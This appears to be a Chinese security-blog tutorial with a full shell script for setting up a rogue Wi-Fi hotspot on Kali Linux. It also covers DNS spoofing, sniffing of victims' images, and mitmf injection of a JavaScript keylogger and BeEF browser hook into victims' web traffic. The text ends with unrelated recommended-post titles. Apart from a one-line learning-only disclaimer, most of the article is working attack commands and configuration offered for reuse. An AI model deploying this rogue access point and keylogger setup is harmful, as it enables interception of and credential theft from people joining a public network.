文中提及的部分技术可能带有一定攻击性,仅供安全学习和教学用途,禁止非法使用。请不要做一只咖啡馆里安静的猥琐大叔。

写在前面

从至少一年前我就一直想在自己跑kali的笔记本上架个钓鱼热点。然而由于网上的教程的nat写得有问题,别人写好的脚本和我电脑有些互不待见,最接近成功的一次只做到了qq能聊天,百度都上不去。

而最近忽然意识到了问题的所在,成功实现了建立wifi热点,dns劫持,js注入,图片嗅探,和BEEF结合对用户浏览器进行攻击测试。

故写此文分享给大家,希望与之前的我有一样困惑的同志们能有所收获。

建立热点

工具:isc-dhcp-server  ;Aircrack-ng套件;iptables

建立过程:

首先写dhcp配置文件/etc/dhcp/dhcpd.conf

写入如下内容:

authoritative;

default-lease-time 700;

max-lease-time 8000;

subnet 10.0.0.0 netmask 255.255.255.0 {

option routers 10.0.0.1;

option subnet-mask 255.255.255.0;

option domain-name-servers 10.0.0.1;

range 10.0.0.10 10.0.0.100;

}

这里以10.0.0.1作为网关和dns服务器地址。

然后我们处理无线网卡

ifconfig wlan1 down           #wlan1修改成你的网卡

iwconfig wlan1 mode monitor

ifconfig wlan1 up

airmon-ng start wlan1

上述命令可以防止出现:Error: Got channel -1, expected a value > 0.

然后用airbase建立热点

airbase-ng -e Fishing -c 11 mon0

热点的网络流量会被虚拟到at0这块网卡上面

ifconfig at0 up

ifconfig at0 10.0.0.1 netmask 255.255.255.0

route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1

打开ip转发

echo 1 > /proc/sys/net/ipv4/ip_forward

开启dhcp

dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid at0

service isc-dhcp-server start

然后可以试着用手机连接,应该可以连上但上不了网

于是配置NAT

iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE #对eth0进行源nat

iptables -A FORWARD -i wlan1 -o eth0 -j ACCEPT #把无线网卡流量转发到有线网卡(或者什么能上网的网卡)上面

iptables -A FORWARD -p tcp --syn -s 10.0.0.0/24 -j TCPMSS --set-mss 1356 #修改最大报文段长度

注意那第三个命令调整MSS,不加后果很严重(我就一直死在这里)

(这里可能还是DNS错误,请看后文中的dns代理服务器搭建)

劫持DNS

工具:dnschef

过程:

dnschef -i 10.0.0.1 --nameserver 210.73.64.1#53

上述命令是以ip10.0.0.1(上文中的fakeap网关和DNS的ip)建立dns,对于所有请求转发到210.73.64.1进行解析。显然这只是个"代理"并没有劫持的功效

于是我们进化:

dnschef --fakedomains=taobao.com,baidu.com --fakeip=10.0.0.1 -i 10.0.0.1 --nameserver 210.73.64.1#53

把淘宝和百度解析到本机了。

当然可以把更多规则写在文件里:

剩下的大家自由发挥吧。

p.s:这个和后文中mitmf冲突,mitmf识别http协议中的目的主机,进行转发,不受这个dns伪造影响。

图片嗅探

这是一个很好玩的功能

工具:driftnet

过程:

driftnet -i at0

然后程序会打开一个小窗口显示所有传输的图片:

单击图片保存到/

当然可以开启 Adjunct mode:

driftnet -i at0 -a

直接保存图片并显示文件名。

劫持Web流量

这个更好玩

工具:BEEF;mitmf;iptables

过程:

先把80端口的流量劫持走(这里10000是mitmf默认监听端口)

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000

然后打开mitmf

mitmf -i at0 --replace --search-str aaaaa  --replace-str bbbbb#把所有网页中的aaaaa替换成bbbbb

上图百度了aaaaa

好吧不要恶作剧了,上干货

mitmf -i at0 --inject --js-url http://10.0.0.1:3000/hook.js --jskeylogger

mitmf在这里注入了js键盘记录器

和beef的攻击测试脚本,其余的攻击方式(比如javapwn)可以参考http://www.freebuf.com/tools/45796.html

最后用BEEF测试用户浏览器吧!

/usr/share/beef-xss/beef

浏览器打开http://127.0.0.1:3000/ui/panel ,初始用户名和密码都是beef

BEEF过于高深我还没玩得很清楚请大家自行探索。对了,不要忘了抓包

最后是我写的脚本

#清空iptables

iptables -t nat -F

iptables -t nat -X

iptables -t nat -P PREROUTING ACCEPT

iptables -t nat -P POSTROUTING ACCEPT

iptables -t nat -P OUTPUT ACCEPT

iptables -t mangle -F

iptables -t mangle -X

iptables -t mangle -P PREROUTING ACCEPT

iptables -t mangle -P INPUT ACCEPT

iptables -t mangle -P FORWARD ACCEPT

iptables -t mangle -P OUTPUT ACCEPT

iptables -t mangle -P POSTROUTING ACCEPT

iptables -F

iptables -X

iptables -P FORWARD ACCEPT

iptables -P INPUT ACCEPT

iptables -P OUTPUT ACCEPT

iptables -t raw -F

iptables -t raw -X

iptables -t raw -P PREROUTING ACCEPT

iptables -t raw -P OUTPUT ACCEPT

#建立热点

airmon-ng stop mon0

ifconfig wlan1 down           #wlan1修改成你的网卡

iwconfig wlan1 mode monitor

ifconfig wlan1 up

airmon-ng start wlan1 &

sleep 2

gnome-terminal -x bash -c "airbase-ng -e Fishing -c 11 mon0"              #按需求修改

sleep 2

ifconfig at0 up

ifconfig at0 10.0.0.1 netmask 255.255.255.0

ifconfig at0 mtu 1400

route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1

echo 1 > /proc/sys/net/ipv4/ip_forward

#配置dhcp

dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid at0

sleep 2

/etc/init.d/isc-dhcp-server start

#nat

iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

iptables -A FORWARD -i wlan1 -o eth0 -j ACCEPT

iptables -A FORWARD -p tcp --syn -s 10.0.0.0/24 -j TCPMSS --set-mss 1356

#劫持80

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000

#劫持dns

gnome-terminal -x bash -c "dnschef -i 10.0.0.1 --nameserver 210.73.64.1#53"

#打开beef并进行80js键盘记录

gnome-terminal -x bash -c "mitmf -i at0 --inject --js-url http://10.0.0.1:3000/hook.js --jskeylogger"

beef-xss

参考

http://xiao106347.blog.163.com/blog/static/215992078201463597381/

http://www.nigesb.com/setup-your-own-vpn-with-pptp.html

*作者:piece of the past(1005308775@qq.com),本文属FreeBuf原创奖励计划,未经许可禁止转载

利用Kali进行WiFi钓鱼测试实战的更多相关文章

  1. 电子证据 利用Kali进行wifi钓鱼实战详细教程

    电子证据 利用Kali进行wifi钓鱼实战详细教程 一. Kali系统安装和必要软件安装: 1.Kali最新版可以来我这儿拿外置驱动和光盘装,目测用U盘装最新版有些问题,比较麻烦. 2.Kali更新源 ...

  2. 利用kali破解wifi密码

    准备工具 1.笔记本 2.USB无线上网卡(必备) 3.kali系统 4.密码字典 第一种方法 暴力破解法 何为暴力破解呢,其实就是一个一个密码去试,直到正确的密码. 现在的wifi一般加密都是: 1 ...

  3. wifi钓鱼

    无线网络的加密方式和破解方式 1.WEP加密及破解 1).WEP加密方式 有线等效保密(wired euivalent pricacy,WEP)协议的使用RC4(rivest cipher4)串流加密 ...

  4. Kali Linux Web 渗透测试视频教—第二十课-利用kali linux光盘或者usb启动盘破解windows密码

    Kali Linux Web 渗透测试视频教—第二十课-利用kali linux光盘或者usb启动盘破解windows密码 文/玄魂 目录 Kali Linux Web 渗透测试视频教—第二十课-利用 ...

  5. Kali Linux Web 渗透测试视频教程— 第四课 google hack 实战

    Kali Linux Web 渗透测试— 第四课 google hack 实战 文/玄魂 目录 shellKali Linux Web 渗透测试— 第四课 google hack 实战 课程目录 Go ...

  6. Kali Linux渗透测试实战 1.3 渗透测试的一般化流程

    1.3 渗透测试的一般化流程 凡事预则立,不预则废,做任何事情都要有一个预先的计划.渗透测试作为测试学科的一个分支,早已形成了完整的方法论.在正式开始本书的实践教学章节之前,我也想谈一谈使用Kali ...

  7. 基础学习:社会工程学---利用Kali下的setoolkit进行钓鱼网站制作

    利用Kali下的setoolkit进行钓鱼网站制作 1.打开kali2019,输入setoolkit,打开setoolkit模块 2.输入命令1,进入钓鱼攻击页面 3.输入命令2,进入web钓鱼攻击页 ...

  8. Kali Linux Web 渗透测试视频教程— 第二课 google hack 实战

    Kali Linux Web 渗透测试— 第二课 代理简介 文/玄魂 课程地址: http://edu.51cto.com/course/course_id-1887.html 目录 shellKal ...

  9. 利用WiFi钓鱼法追邻居漂亮妹纸

    假设,你的邻居是一个妹纸.漂亮单身,你,技术狗,家穷人丑,集体户口.像借酱油这种老套搭讪方式的成功率对你来说实在很低. 你要做的是了解她,然后接近她.通过搜集更多的情报,为创造机会提供帮助. 初级情报 ...

随机推荐

  1. Mongodb cassandra 和 Mysql对比

    MongoDBDB.Cassandra和 Mysql对比 1.为什么是Nosql? 1.1 Nosql在大数据处理相对于关系型数据库具有优势 1.1.1                  1. 低延迟 ...

  2. Python 如何计算当前时间减少或增加一个月

    问题 今天在之前的代码中发现了一个bug,有个计算当前时间减少一个月的函数,其报出下面的异常信息: ValueError: day is out of range for month 看一下代码: i ...

  3. html锚点(mao dian)--特殊的超链接

    锚点(anchor):其实就是超链接的一种,一种特殊的超链接 普通的超链接,<a href="路径"></a> 是跳转到不同的页面 而锚点,<a hr ...

  4. IE678下,select 诡异的样式

    我没有IE6,我用IE5测试的. IE5下的测试结果:貌似只能设置 width ,设置其他的都失效,连 height 都不例外. IE7下的测试结果:垂直居中失效.边框失效,宽高生效. IE8下的测试 ...

  5. 【转】“无法从http://XXX/XXX.svc?wsdl获取元数据”错误的解决方法

    昨天在用IIS部署一个WCF服务时,碰到了如下错误: 理解了文档内容,但无法进行处理.  - WSDL 文档包含无法解析的链接.  - 下载“http://admin-pc/IISHostServic ...

  6. 从零实现一个简易的jQuery框架之二—核心思路详解

    如何读源码 jQuery整体框架甚是复杂,也不易读懂.但是若想要在前端的路上走得更远.更好,研究分析前端的框架无疑是进阶路上必经之路.但是庞大的源码往往让我们不知道从何处开始下手.在很长的时间里我也被 ...

  7. js惊奇效果分享,和排序算法

    分享地址:http://www.cnblogs.com/lhb25/p/8-amazing-codepen-demos.html 排序算法分享地址:http://www.w3cplus.com/js/ ...

  8. 项目开发-->高级功能汇总

    祭奠曾经逝去的青春…… 1.高级功能汇总-->Memcached之ASP.NET实现 2.高级功能汇总-->HubbleDotNet软件安装

  9. Spring学习笔记:Spring整合Mybatis学习PPT(三:整合思路)

    三.Spring-Mybatis的整合思路

  10. Java基础(九)多线程

    一.线程和进程 进程(Process): 1.是计算机中的程序关于某数据集合上的一次运行活动,是系统进行资源分配和调度的基本单位,是操作系统结构的基础. 2.在早期面向进程设计的计算机结构中,进程是程 ...